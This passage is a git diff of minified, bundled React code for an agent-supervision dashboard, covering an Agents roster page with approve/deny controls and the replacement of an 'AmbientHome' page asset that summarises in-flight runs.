mb-4",children:u}),e.jsx("ul",{className:"space-y-1",children:c.workers.map((f,C)=>e.jsx(Ye,{worker:f,accent:C===k,onPeek:i},f.session.id))})]}),e.jsx(ne,{open:m!==null,onClose:()=>i(null),title:m?`${m.rig} · ${m.worker}`:"Transcript",caption:m?.bead?e.jsxs(I,{to:`/beads?bead=${encodeURIComponent(m.bead.id)}`,className:"text-fg-muted hover:text-accent focus-mark",title:`Open ${m.bead.id}`,children:[e.jsx("span",{className:"tnum",children:m.bead.id}),e.jsxs("span",{children:[": ",m.bead.title]})]}):"Live transcript from the supervisor's session stream.",widthClass:"max-w-5xl",children:e.jsx(ie,{sessionId:r,stream:m?Ge(m.session):!1,showBadge:!0,showCaption:!0})})]})}function ee(s){return s.session?.name??s.name}function Ke(s){return!s.suspended&&(s.state==="active"||s.state==="running"||s.running===!0)}function Xe(s,n){return Ke(s)||n==="attention"}function P(s){const n=O(s.name);return se(s)?n:`${E(s).label} · ${n}`}const Je=s=>[s.name,s.display_name,s.pool,s.rig,s.provider,s.model].filter(n=>typeof n=="string"&&n.length>0);function ft(){const s=fe(),{data:n,loading:o,error:l,refresh:c}=R("agents",Be),u=R("sessions",xe),r=R("beads:in-flight",()=>he()),i=d.useMemo(()=>n?.items??[],[n]),m=d.useMemo(()=>(u.data?.items??[]).map(t=>t.id).sort(),[u.data]),k=d.useMemo(()=>i.map(t=>t.name).sort(),[i]),p=R(`agent-pending:${k.join(",")}:${m.join(",")}`,()=>be(i,u.data?.items??[])),w=d.useMemo(()=>{const t=new Map;for(const a of u.data?.items??[])a.session_name&&t.set(a.session_name,a.id);return t},[u.data]),N=d.useMemo(()=>{const t=new Map;for(const a of p.data??[])t.set(a.agentName,a);return t},[p.data]),_=d.useMemo(()=>{const t=(p.data??[]).map(g=>({agentName:g.agentName,...g.pending.prompt===void 0?{}:{prompt:g.pending.prompt}})),a=new Map(i.map(g=>[g.name,g]));return ve(i,t).flatMap(g=>{const b=a.get(g.name);return b===void 0?[]:[{need:g,label:P(b),slug:ee(b)}]})},[i,p.data]),f=te(),[C,oe]=d.useState(!0),[M,re]=d.useState(""),[v,B]=d.useState(""),[S,q]=d.useState(null),[z,W]=d.useState(null),[D,F]=d.useState(null),[j,U]=d.useState(null),x=d.useMemo(()=>S===null?null:i.find(t=>t.name===S)??null,[i,S]),V=d.useMemo(()=>{const t=x?.session?.name;return t?w.get(t)??null:null},[x,w]),le=je([K.session,K.bead,"agent."],()=>{c(),r.refresh(),u.refresh()}),ce=d.useMemo(()=>st(i),[i]),h=Ne(),L=d.useCallback(async(t,a)=>{if(!h){U({sessionId:t.sessionId,action:a}),W(null),F(null);try{await ye(t.sessionId,{action:a,request_id:t.pending.request_id}),W(`responded to ${t.agentName}`),await p.refresh()}catch(g){F(g instanceof Error?g.message:"response failed")}finally{U(null)}}},[p,h]),A=d.useMemo(()=>Array.from(new Set(i.filter(t=>!se(t)).map(t=>E(t).label))).sort((t,a)=>t.localeCompare(a)),[i]);d.useEffect(()=>{v!==""&&!A.includes(v)&&B("")},[A,v]);const Y=d.useMemo(()=>{const t=M.trim().toLowerCase();return i.filter(a=>{if(v!==""&&E(a).label!==v)return!1;const g=J(s,"agents",a.name);return C&&!Xe(a,g)?!1:t.length===0?!0:Je(a).some(b=>b.toLowerCase().includes(t))})},[i,v,C,M,s]),de=d.useMemo(()=>t=>Re(J(s,"agents",t.name)),[s]),G=l!==null&&i.length===0,ue=G?"Agent roster unavailable.":i.length===0?"No agents configured.":"No agents match the current search or filter.",me=d.useMemo(()=>[{key:"name",label:"Agent",sortable:!0,sortValue:t=>P(t),render:t=>{const a=Me(t),g=t.display_name&&t.display_name!==t.name?t.display_name:t.provider??t.model??"",b=!t.session,ge=b?`${t.name} — configured but not running; detail will show no live session`:`Open drilldown for ${t.name}`,pe=b?"text-fg-muted":"text-fg";return e.jsxs("div",{className:"min-w-0",children:[e.jsx(I,{to:`/agents/${encodeURIComponent(ee(t))}`,className:`block ${pe} truncate hover:text-accent focus-mark ${a?"font-normal italic":"font-medium"}`,title:ge,children:P(t)}),g&&e.jsx("div",{className:"text-label uppercase tracking-wider text-fg-faint mt-1 truncate",children:g})]})}},{key:"state",label:"State",sortable:!0,sortValue:t=>t.state,render:t=>e.jsx($,{tone:T(t.state),label:t.state,...t.session?.attached?{trailing:"att"}:{},...t.unavailable_reason?{title:`unavailable: ${t.unavailable_reason}`}:{}}),className:"w-32"},{key:"activity",label:"Activity",sortable:!0,sortValue:t=>t.activity??"",render:t=>{const a=N.get(t.name);return a!==void 0?e.jsxs("div",{className:"min-w-0",children:[e.jsx($,{tone:"stuck",label:"needs you"}),e.jsx("p",{className:"mt-1 truncate text-fg-muted",title:a.pending.prompt,children:a.pending.prompt??a.pending.kind})]}):e.jsx("span",{className:"text-fg-muted",children:t.activity??(t.running?"running":"·")})},className:"w-28"},{key:"context",label:"Context",sortable:!0,sortValue:t=>X(t)??-1,align:"right",render:t=>{const a=X(t);if(typeof a!="number")return e.jsx("span",{className:"text-fg-faint",children:"·"});const g=typeof t.context_pct=="number"&&t.context_pct!==a?`gc reports ${t.context_pct}% against ${t.context_window??"?"}-token window; scaled to model's true window`:void 0;return e.jsxs("span",{title:g,className:`tnum ${a>=95?"text-accent font-medium":a>=80?"text-warn font-medium":"text-fg-muted"}`,children:[a,"%"]})},className:"w-24"},{key:"last_active",label:"Last active",sortable:!0,sortValue:t=>t.session?.last_activity??"",render:t=>{const a=t.session?.last_activity;return a?e.jsx("span",{className:"tnum text-fg-muted",children:ae(a,f)}):e.jsx("span",{className:"text-fg-faint tnum",children:"·"})},className:"w-32"},{key:"actions",label:"",render:t=>{if(!t.session)return null;const a=N.get(t.name);return e.jsxs("div",{className:"flex justify-end gap-2",children:[a!==void 0&&e.jsxs(e.Fragment,{children:[h&&e.jsx(ke,{}),e.jsx(y,{size:"sm",tone:"quiet",title:h?H:void 0,disabled:h||j?.sessionId===a.sessionId,onClick:()=>{L(a,"approve")},children:j?.sessionId===a.sessionId&&j.action==="approve"?"Approving":"Approve"}),e.jsx(y,{size:"sm",tone:"quiet",title:h?H:void 0,disabled:h||j?.sessionId===a.sessionId,onClick:()=>{L(a,"deny")},children:j?.sessionId===a.sessionId&&j.action==="deny"?"Denying":"Deny"}),e.jsx(Ze,{command:we(t.name)})]}),e.jsx(y,{size:"sm",tone:"quiet",onClick:()=>q(t.name),children:"Peek"})]})},align:"right",className:"w-80"}],[L,f,N,h,j]);return e.jsxs("section",{children:[e.jsx(Pe,{title:"Agents",synopsis:G?"Agent roster unavailable.":ce,meta:e.jsxs(e.Fragment,{children:[e.jsx(Oe,{state:le}),l&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:l}),e.jsx(Ee,{show:n?.partial===!0,label:"roster partial",title:n?.partial_errors?.join(`
 `)??"one or more agent backends unavailable"}),e.jsx(y,{size:"sm",onClick:()=>{c()},disabled:o,children:o?"Refreshing":"Refresh"})]})}),e.jsx(Qe,{rows:_}),e.jsx(He,{beads:r.data?.items??[],sessions:u.data?.items??[],sessionsLoading:u.loading,sessionsError:u.error}),e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-4",children:[e.jsx("h2",{className:"text-headline text-fg",children:"Available agents"}),e.jsx("span",{className:"text-label tnum text-fg-muted",children:i.length})]}),e.jsxs("div",{className:"mb-6 space-y-3",children:[e.jsx(Le,{value:M,onChange:re,placeholder:"Search agents by alias, rig, pool, provider",matchCount:Y.length,totalCount:i.length,ariaLabel:"Search agents"}),e.jsxs("div",{className:"flex items-baseline gap-6",children:[e.jsxs("label",{className:"inline-flex items-baseline gap-2 text-label uppercase tracking-wider text-fg-muted cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[e.jsx("input",{type:"checkbox",checked:C,onChange:t=>oe(t.target.checked),style:{accentColor:"oklch(var(--fg-muted))"},className:"translate-y-[2px]"}),e.jsx("span",{children:"running"})]}),A.length>1&&e.jsxs("label",{className:"inline-flex items-baseline gap-2 text-label uppercase tracking-wider text-fg-muted",children:[e.jsx("span",{children:"rig"}),e.jsxs("select",{value:v,onChange:t=>B(t.target.value),"aria-label":"Rig filter",className:"text-label uppercase tracking-wider text-fg-muted bg-transparent border-0 focus-mark cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[e.jsx("option",{value:"",children:"all rigs"}),A.map(t=>e.jsx("option",{value:t,children:t},t))]})]})]})]}),z&&e.jsx("div",{className:"mb-4 text-body text-fg-muted",role:"status",children:z}),D&&e.jsx("div",{className:"mb-4 text-body text-accent",role:"alert",children:D}),e.jsx(Te,{rows:Y,columns:me,rowKey:t=>t.name,rowProps:de,empty:ue,initialSort:{key:"last_active",dir:"desc"}}),e.jsx(ne,{open:S!==null,onClose:()=>q(null),title:x?.name??S??"Transcript",caption:x&&x.session&&!V?u.loading?"Resolving session…":`No live session matches "${x.session.name}".`:Q(x)?"Live transcript from the supervisor's session stream.":"Snapshot from the supervisor's transcript API.",widthClass:"max-w-5xl",children:e.jsx(ie,{sessionId:V,stream:Q(x),showBadge:!0,showCaption:!0})})]})}function Qe({rows:s}){return s.length===0?null:e.jsxs("section",{"aria-label":"Agents needing you",className:"mb-10",children:[e.jsxs("h2",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:["Needs you (",s.length,")"]}),e.jsx("ol",{className:"mt-3 divide-y divide-rule",children:s.map(({need:n,label:o,slug:l})=>e.jsxs("li",{className:"py-3",children:[e.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[e.jsx(I,{to:`/agents/${encodeURIComponent(l)}`,className:"focus-mark block min-w-0 truncate text-title text-fg hover:text-accent",children:o}),e.jsx($,{tone:Se(n.reason),label:Ce(n.reason)})]}),e.jsx("p",{className:"mt-1 text-body text-fg leading-snug",children:n.detail}),e.jsx("p",{className:"mt-0.5 text-body text-fg-muted leading-snug",children:Ae(n.action)})]},n.name))})]})}function Ze({command:s}){const[n,o]=d.useState("idle"),l=n==="copied"?"Copied":n==="failed"?"Copy failed":"Copy attach";return e.jsx(y,{size:"sm",tone:"quiet",title:s,onClick:()=>{et(s,o)},children:l})}async function et(s,n){try{await navigator.clipboard.writeText(s),n("copied")}catch{n("failed")}}function tt(s){if(s.suspended)return"suspended";switch(s.state){case"active":case"running":return"active";case"detached":return"detached";case"rate-limited":case"rate_limited":case"waiting":return"rate-limited";case"failed":case"closed":case"errored":case"stuck":return"stuck";default:return"idle"}}function st(s){if(s.length===0)return"No agents configured.";const n=new Map;for(const k of s){const p=tt(k);n.set(p,(n.get(p)??0)+1)}const o=[],l=n.get("active")??0,c=n.get("idle")??0,u=n.get("detached")??0,r=n.get("rate-limited")??0,i=n.get("stuck")??0,m=n.get("suspended")??0;return l>0&&o.push(`${l} active`),c>0&&o.push(`${c} idle`),u>0&&o.push(`${u} detached`),r>0&&o.push(`${r} rate-limited`),i>0&&o.push(`${i} stuck`),m>0&&o.push(`${m} suspended`),o.join(", ")+"."}export{ft as AgentsPage,P as agentRowLabel,st as buildAgentSynopsis,Ke as isRunningAgent,Xe as isVisibleUnderRunning,T as stateTone};
diff --git a/internal/api/dashboardspa/dist/assets/AmbientHome-BhBxFv91.js b/internal/api/dashboardspa/dist/assets/AmbientHome-BhBxFv91.js
deleted file mode 100644
index 45e341297f..0000000000
--- a/internal/api/dashboardspa/dist/assets/AmbientHome-BhBxFv91.js
+++ /dev/null
@@ -1 +0,0 @@
-import{a as j,j as a,r as c,L as h,D as N,E as S,F as m,u as M,b as p,H as A,I as y,J as R}from"./index-fZITW1u7.js";import{P as f}from"./PageHeader-BLycRKkQ.js";const L={agents:"Agents",beads:"Beads",runs:"Runs",mail:"Mail",activity:"Activity",health:"Health"},$={agents:"/agents",beads:"/beads",runs:"/runs",mail:"/mail",activity:"/activity",health:"/health"};function x(e){return L[e]}function C(e){return $[e]}function E(){const e=j();return e.items.length===0?null:a.jsxs("section",{"aria-labelledby":"attention-summary-title",className:"space-y-3",children:[a.jsx("h2",{id:"attention-summary-title",className:"text-headline font-semibold text-fg",children:"Attention"}),a.jsx("ul",{className:"space-y-2",children:e.topItems.map(t=>a.jsxs("li",{className:"text-body text-fg flex items-baseline gap-3",children:[a.jsx(D,{item:t}),a.jsx("span",{className:`text-label uppercase tracking-wider ${_(t.severity)}`,children:x(t.domain)})]},`${t.domain}:${t.id}`))}),e.overflowByDomain.length>0&&a.jsx("p",{className:"text-label uppercase tracking-wider text-fg-muted",children:e.overflowByDomain.map((t,n)=>a.jsxs(c.Fragment,{children:[n>0&&" · ",a.jsxs(h,{to:C(t.domain),className:"hover:text-fg focus-mark",children:[t.total," more in ",x(t.domain)]})]},t.domain))})]})}function D({item:e}){return e.href===void 0?a.jsx("span",{className:"font-medium",children:e.title}):a.jsx(h,{to:e.href,className:"font-medium hover:text-fg focus-mark",children:e.title})}function _(e){switch(e){case"attention":return"text-accent";case"watch":return"text-warn";case"unavailable":return"text-fg-muted"}}function F(e){return e.external.status!=="unavailable"?e.external.label:e.title}function H(e){const t=encodeURIComponent(e.id),n=e.scope.status==="available"?e.scope:null;if(e.health.status==="available"&&e.health.data.stuckNode.status==="available"){const i=new URLSearchParams;return i.set("node",e.health.data.stuckNode.id),n&&(i.set("scope_kind",n.kind),i.set("scope_ref",n.ref)),`/runs/${t}?${i.toString()}`}if(n){const i=new URLSearchParams;return i.set("scope_kind",n.kind),i.set("scope_ref",n.ref),`/runs/${t}?${i.toString()}`}return`/runs/${t}`}function I(e){switch(e){case"needsOperator":return"needs you";case"stalled":return"stalled";default:return e}}function P({rows:e}){return a.jsx("section",{id:"needs-you",children:a.jsx("ul",{className:"mt-2 transition-opacity duration-150 ease-out-quart motion-reduce:transition-none",style:{opacity:e.length===0?0:1},"aria-live":"polite","data-testid":"concern-region",children:e.map(({lane:t,reason:n})=>a.jsxs("li",{className:"text-body text-fg flex items-baseline gap-3",children:[a.jsx(h,{to:H(t),className:"font-medium hover:text-fg focus-mark","data-testid":`concern-row-${t.id}`,children:F(t)}),a.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:I(n)})]},t.id))})})}const g="gascity:home-intro-dismissed",v="FirstRunNote";function T(){const[e,t]=c.useState(()=>N("localStorage",g,v).status==="found");if(e)return null;const n=()=>{t(!0),S("localStorage",g,"1",v)};return a.jsxs("aside",{className:"mt-6 max-w-[70ch]","data-testid":"first-run-note",children:[a.jsx("p",{className:"text-body text-fg-muted",children:"New here? This page is the ambient home for a Gas City workspace: a calm census of the formula runs in flight. Healthy work stays quiet by design; the page speaks up only when a run needs an operator decision. The full record lives in Agents, Beads, Runs, and Mail above."}),a.jsx("button",{type:"button",onClick:n,className:"mt-2 text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark",children:"Dismiss"})]})}function O({census:e,waitingCount:t,failingCount:n}){const s=e.unverifiable>0?` (of ${e.knownDenominator} known)`:"",r=n===0?`nothing failing${s}`:`${n} failing${s}`;return a.jsxs("p",{className:"text-title tnum text-fg","data-testid":"phase-census",children:[a.jsxs("span",{children:[e.totalInFlight," in flight"]}),a.jsx("span",{"aria-hidden":"true",className:"mx-2 text-fg-faint",children:"·"}),a.jsxs("span",{children:[t," waiting"]}),a.jsx("span",{"aria-hidden":"true",className:"mx-2 text-fg-faint",children:"·"}),a.jsx("span",{className:n>0?"font-semibold text-fg":"","aria-live":"polite","data-testid":"phase-census-failing",children:r})]})}function B(e){const t=Math.floor(e/6e4);if(t<60)return`${t} min`;const n=Math.floor(t/60);return n<24?`${n}h`:`${Math.floor(n/24)}d`}function q(e){if(e.health.status!=="available")return null;const t=e.health.data.stuckNode;if(t.status!=="available")return null;const n=encodeURIComponent(e.id),i=e.scope.status==="available"?e.scope:null,s=new URLSearchParams;return s.set("node",t.id),i&&(s.set("scope_kind",i.kind),s.set("scope_ref",i.ref)),`/runs/${n}?${s.toString()}`}function U(e){return e.external.status!=="unavailable"?e.external.label:e.title}function G(e){return m(e)?"has been waiting on your decision for":"has waited on a review verdict for"}function K({topConcern:e}){const{lane:t,ageMs:n}=e,i=U(t),s=q(t),r=G(t),o=B(n);return a.jsxs("p",{className:"text-body text-fg max-w-[70ch] leading-relaxed","data-testid":"status-sentence",children:[s===null?a.jsx("span",{"data-testid":"status-sentence-token",children:i}):a.jsx(h,{to:s,className:"text-accent font-semibold focus-mark","data-testid":"status-sentence-token",children:i})," ",r," ",o,"."]})}const V="/favicon-calm.svg",W="/favicon-alert.svg",Y=2;function J(e){const t=document.getElementById("favicon");t instanceof HTMLLinkElement&&(t.href=`${e}?v=${Date.now()}`)}function Q({failing:e,cycleKey:t}){const n=c.useRef("calm"),i=c.useRef(0),s=c.useRef(null);c.useEffect(()=>{if(s.current===t)return;s.current=t;const r=n.current,o=e>0?"alert":"calm";if(o===r){i.current=0;return}i.current+=1,!(i.current<Y)&&(n.current=o,i.current=0,J(o==="alert"?W:V))},[e,t])}const b={warning:5*6e4,stalled:30*6e4};function z(e){const t=[];if(e.updatedAt.status==="available"){const n=Date.parse(e.updatedAt.at);Number.isNaN(n)||t.push(n)}if(e.health.status==="available"){const n=e.health.data.session;if(n.status==="resolved"&&n.lastActive.status==="available"){const i=Date.parse(n.lastActive.at);Number.isNaN(i)||t.push(i)}}return t.length===0?null:Math.max(...t)}function X(e){return e>=b.stalled?"stalled":e>=b.warning?"warning":"fresh"}function Z(e){const t=M();return c.useMemo(()=>{const n=new Map,i=[];for(const s of e){const r=z(s),o=s.health.status==="available"&&s.health.data.phaseConfidence==="known";if(r===null){n.set(s.id,{tier:"unknown",ageMs:0,isStalled:!1});continue}const l=Math.max(0,t-r);if(!o){n.set(s.id,{tier:"unknown",ageMs:l,isStalled:!1});continue}const d=X(l),u=d==="stalled";n.set(s.id,{tier:d,ageMs:l,isStalled:u}),u&&i.push({id:s.id,ageMs:l})}return i.sort((s,r)=>r.ageMs-s.ageMs),{byLane:n,clientStalledLaneIds:i.map(s=>s.id)}},[e,t])}function ee(e,t){const n=[];for(const s of e){if(s.health.status!=="available"||!(s.health.data.phaseConfidence==="known"))continue;const o=t.byLane.get(s.id)?.ageMs??0;s.health.data.thrashingDetected?n.push({lane:s,ageMs:o,priority:2}):t.byLane.get(s.id)?.isStalled&&n.push({lane:s,ageMs:o,priority:1})}if(n.length===0)return;n.sort((s,r)=>r.priority-s.priority||r.ageMs-s.ageMs);const i=n[0];return{lane:i.lane,ageMs:i.ageMs}}function te(e,t,n){const i=[];for(const s of e){if(s.id===n)continue;if(m(s)){i.push({lane:s,reason:"needsOperator"});continue}if(s.health.status!=="available")continue;const r=s.health.data;r.phaseConfidence==="known"&&(r.thrashingDetected||t.byLane.get(s.id)?.isStalled)&&i.push({lane:s,reason:"stalled"})}return i}function se(e){let t=0;for(const n of e)m(n)&&(t+=1);return t}function ne(e){return e===void 0||e.status==="error"?null:{source:e,summary:e.data}}function ae({fresh:e,cityName:t,cycleKey:n,workInProgress:i}){const{summary:s}=e,r=c.useMemo(()=>[...s.lanes,...s.blockedLanes],[s.lanes,s.blockedLanes]),o=Z(r),l=c.useMemo(()=>ee(r,o),[r,o]),d=c.useMemo(()=>te(r,o,l?.lane.id),[r,o,l]),u=s.census.status!=="available"?0:s.census.data.thrashing+o.clientStalledLaneIds.length;Q({failing:u,cycleKey:n});const w=i.status==="available"?`, ${i.value} in progress`:"",k=t!==null?`${t}, ${s.totalActive} active${w}`:null;return a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:k}),a.jsx(T,{}),s.census.status!=="available"?a.jsxs("p",{className:"mt-6 text-body text-fg-muted max-w-[70ch]",role:"alert","data-testid":"census-unavailable",children:["Census unavailable: ",s.census.error,"."]}):a.jsxs("div",{className:"mt-6 space-y-6",children:[a.jsx(E,{}),a.jsxs("div",{className:"space-y-4",children:[a.jsx(O,{census:s.census.data,waitingCount:se(r),failingCount:u}),l!==void 0&&a.jsx(K,{topConcern:l}),a.jsx(P,{rows:d})]})]})]})}function ce(){const e=y(),{data:t,loading:n,error:i}=p(`runs:summary:${e??"no-city"}`,A),s=p(`home:work:${e??"no-city"}`,ie),r=ne(t),o=r?.source.fetchedAt??"pre-snapshot";return t===void 0&&n?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-fg-muted",children:"Loading…"})]}):t===void 0&&i!==null?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-accent",role:"alert","data-testid":"snapshot-error",children:i})]}):r===null?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-accent",role:"alert","data-testid":"runs-source-error",children:"Run data is unavailable."})]}):a.jsx(ae,{fresh:r,cityName:e,cycleKey:o,workInProgress:s.data??{status:"unavailable",source:"work",error:"loading"}})}async function ie(){const e=y();if(e===null)return{status:"unavailable",source:"work",error:"active city unavailable"};try{return{status:"available",value:(await R().cityStatus(e)).work.in_progress}}catch(t){return{status:"unavailable",source:"work",error:t instanceof Error?t.message:"work unavailable"}}}export{ce as AmbientHomePage};
diff --git a/internal/api/dashboardspa/dist/assets/AmbientHome-QKhI8-ES.js b/internal/api/dashboardspa/dist/assets/AmbientHome-QKhI8-ES.js
new file mode 100644
index 0000000000..2e6a886d50
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/AmbientHome-QKhI8-ES.js
@@ -0,0 +1 @@
+import{a as j,j as a,r as c,L as h,D as N,E as S,u as M,b as p,F as A,H as y,I as R}from"./index-BFDP6Xwd.js";import{P as f}from"./PageHeader-5RHLpIfH.js";function m(e){return e.phase==="approval"||e.phase==="blocked"}const L={agents:"Agents",beads:"Beads",runs:"Runs",mail:"Mail",activity:"Activity",health:"Health"},$={agents:"/agents",beads:"/beads",runs:"/runs",mail:"/mail",activity:"/activity",health:"/health"};function x(e){return L[e]}function C(e){return $[e]}function E(){const e=j();return e.items.length===0?null:a.jsxs("section",{"aria-labelledby":"attention-summary-title",className:"space-y-3",children:[a.jsx("h2",{id:"attention-summary-title",className:"text-headline font-semibold text-fg",children:"Attention"}),a.jsx("ul",{className:"space-y-2",children:e.topItems.map(t=>a.jsxs("li",{className:"text-body text-fg flex items-baseline gap-3",children:[a.jsx(D,{item:t}),a.jsx("span",{className:`text-label uppercase tracking-wider ${_(t.severity)}`,children:x(t.domain)})]},`${t.domain}:${t.id}`))}),e.overflowByDomain.length>0&&a.jsx("p",{className:"text-label uppercase tracking-wider text-fg-muted",children:e.overflowByDomain.map((t,n)=>a.jsxs(c.Fragment,{children:[n>0&&" · ",a.jsxs(h,{to:C(t.domain),className:"hover:text-fg focus-mark",children:[t.total," more in ",x(t.domain)]})]},t.domain))})]})}function D({item:e}){return e.href===void 0?a.jsx("span",{className:"font-medium",children:e.title}):a.jsx(h,{to:e.href,className:"font-medium hover:text-fg focus-mark",children:e.title})}function _(e){switch(e){case"attention":return"text-accent";case"watch":return"text-warn";case"unavailable":return"text-fg-muted"}}function F(e){return e.external.status!=="unavailable"?e.external.label:e.title}function H(e){const t=encodeURIComponent(e.id),n=e.scope.status==="available"?e.scope:null;if(e.health.status==="available"&&e.health.data.stuckNode.status==="available"){const i=new URLSearchParams;return i.set("node",e.health.data.stuckNode.id),n&&(i.set("scope_kind",n.kind),i.set("scope_ref",n.ref)),`/runs/${t}?${i.toString()}`}if(n){const i=new URLSearchParams;return i.set("scope_kind",n.kind),i.set("scope_ref",n.ref),`/runs/${t}?${i.toString()}`}return`/runs/${t}`}function I(e){switch(e){case"needsOperator":return"needs you";case"stalled":return"stalled";default:return e}}function P({rows:e}){return a.jsx("section",{id:"needs-you",children:a.jsx("ul",{className:"mt-2 transition-opacity duration-150 ease-out-quart motion-reduce:transition-none",style:{opacity:e.length===0?0:1},"aria-live":"polite","data-testid":"concern-region",children:e.map(({lane:t,reason:n})=>a.jsxs("li",{className:"text-body text-fg flex items-baseline gap-3",children:[a.jsx(h,{to:H(t),className:"font-medium hover:text-fg focus-mark","data-testid":`concern-row-${t.id}`,children:F(t)}),a.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:I(n)})]},t.id))})})}const g="gascity:home-intro-dismissed",v="FirstRunNote";function T(){const[e,t]=c.useState(()=>N("localStorage",g,v).status==="found");if(e)return null;const n=()=>{t(!0),S("localStorage",g,"1",v)};return a.jsxs("aside",{className:"mt-6 max-w-[70ch]","data-testid":"first-run-note",children:[a.jsx("p",{className:"text-body text-fg-muted",children:"New here? This page is the ambient home for a Gas City workspace: a calm census of the formula runs in flight. Healthy work stays quiet by design; the page speaks up only when a run needs an operator decision. The full record lives in Agents, Beads, Runs, and Mail above."}),a.jsx("button",{type:"button",onClick:n,className:"mt-2 text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark",children:"Dismiss"})]})}function O({census:e,waitingCount:t,failingCount:n}){const s=e.unverifiable>0?` (of ${e.knownDenominator} known)`:"",r=n===0?`nothing failing${s}`:`${n} failing${s}`;return a.jsxs("p",{className:"text-title tnum text-fg","data-testid":"phase-census",children:[a.jsxs("span",{children:[e.totalInFlight," in flight"]}),a.jsx("span",{"aria-hidden":"true",className:"mx-2 text-fg-faint",children:"·"}),a.jsxs("span",{children:[t," waiting"]}),a.jsx("span",{"aria-hidden":"true",className:"mx-2 text-fg-faint",children:"·"}),a.jsx("span",{className:n>0?"font-semibold text-fg":"","aria-live":"polite","data-testid":"phase-census-failing",children:r})]})}function B(e){const t=Math.floor(e/6e4);if(t<60)return`${t} min`;const n=Math.floor(t/60);return n<24?`${n}h`:`${Math.floor(n/24)}d`}function q(e){if(e.health.status!=="available")return null;const t=e.health.data.stuckNode;if(t.status!=="available")return null;const n=encodeURIComponent(e.id),i=e.scope.status==="available"?e.scope:null,s=new URLSearchParams;return s.set("node",t.id),i&&(s.set("scope_kind",i.kind),s.set("scope_ref",i.ref)),`/runs/${n}?${s.toString()}`}function U(e){return e.external.status!=="unavailable"?e.external.label:e.title}function G(e){return m(e)?"has been waiting on your decision for":"has waited on a review verdict for"}function K({topConcern:e}){const{lane:t,ageMs:n}=e,i=U(t),s=q(t),r=G(t),o=B(n);return a.jsxs("p",{className:"text-body text-fg max-w-[70ch] leading-relaxed","data-testid":"status-sentence",children:[s===null?a.jsx("span",{"data-testid":"status-sentence-token",children:i}):a.jsx(h,{to:s,className:"text-accent font-semibold focus-mark","data-testid":"status-sentence-token",children:i})," ",r," ",o,"."]})}const V="/favicon-calm.svg",W="/favicon-alert.svg",Y=2;function Q(e){const t=document.getElementById("favicon");t instanceof HTMLLinkElement&&(t.href=`${e}?v=${Date.now()}`)}function z({failing:e,cycleKey:t}){const n=c.useRef("calm"),i=c.useRef(0),s=c.useRef(null);c.useEffect(()=>{if(s.current===t)return;s.current=t;const r=n.current,o=e>0?"alert":"calm";if(o===r){i.current=0;return}i.current+=1,!(i.current<Y)&&(n.current=o,i.current=0,Q(o==="alert"?W:V))},[e,t])}const b={warning:5*6e4,stalled:30*6e4};function J(e){const t=[];if(e.updatedAt.status==="available"){const n=Date.parse(e.updatedAt.at);Number.isNaN(n)||t.push(n)}if(e.health.status==="available"){const n=e.health.data.session;if(n.status==="resolved"&&n.lastActive.status==="available"){const i=Date.parse(n.lastActive.at);Number.isNaN(i)||t.push(i)}}return t.length===0?null:Math.max(...t)}function X(e){return e>=b.stalled?"stalled":e>=b.warning?"warning":"fresh"}function Z(e){const t=M();return c.useMemo(()=>{const n=new Map,i=[];for(const s of e){const r=J(s),o=s.health.status==="available"&&s.health.data.phaseConfidence==="known";if(r===null){n.set(s.id,{tier:"unknown",ageMs:0,isStalled:!1});continue}const l=Math.max(0,t-r);if(!o){n.set(s.id,{tier:"unknown",ageMs:l,isStalled:!1});continue}const d=X(l),u=d==="stalled";n.set(s.id,{tier:d,ageMs:l,isStalled:u}),u&&i.push({id:s.id,ageMs:l})}return i.sort((s,r)=>r.ageMs-s.ageMs),{byLane:n,clientStalledLaneIds:i.map(s=>s.id)}},[e,t])}function ee(e,t){const n=[];for(const s of e){if(s.health.status!=="available"||!(s.health.data.phaseConfidence==="known"))continue;const o=t.byLane.get(s.id)?.ageMs??0;s.health.data.thrashingDetected?n.push({lane:s,ageMs:o,priority:2}):t.byLane.get(s.id)?.isStalled&&n.push({lane:s,ageMs:o,priority:1})}if(n.length===0)return;n.sort((s,r)=>r.priority-s.priority||r.ageMs-s.ageMs);const i=n[0];return{lane:i.lane,ageMs:i.ageMs}}function te(e,t,n){const i=[];for(const s of e){if(s.id===n)continue;if(m(s)){i.push({lane:s,reason:"needsOperator"});continue}if(s.health.status!=="available")continue;const r=s.health.data;r.phaseConfidence==="known"&&(r.thrashingDetected||t.byLane.get(s.id)?.isStalled)&&i.push({lane:s,reason:"stalled"})}return i}function se(e){let t=0;for(const n of e)m(n)&&(t+=1);return t}function ne(e){return e===void 0||e.status==="error"?null:{source:e,summary:e.data}}function ae({fresh:e,cityName:t,cycleKey:n,workInProgress:i}){const{summary:s}=e,r=c.useMemo(()=>[...s.lanes,...s.blockedLanes],[s.lanes,s.blockedLanes]),o=Z(r),l=c.useMemo(()=>ee(r,o),[r,o]),d=c.useMemo(()=>te(r,o,l?.lane.id),[r,o,l]),u=s.census.status!=="available"?0:s.census.data.thrashing+o.clientStalledLaneIds.length;z({failing:u,cycleKey:n});const w=i.status==="available"?`, ${i.value} in progress`:"",k=t!==null?`${t}, ${s.totalActive} active${w}`:null;return a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:k}),a.jsx(T,{}),s.census.status!=="available"?a.jsxs("p",{className:"mt-6 text-body text-fg-muted max-w-[70ch]",role:"alert","data-testid":"census-unavailable",children:["Census unavailable: 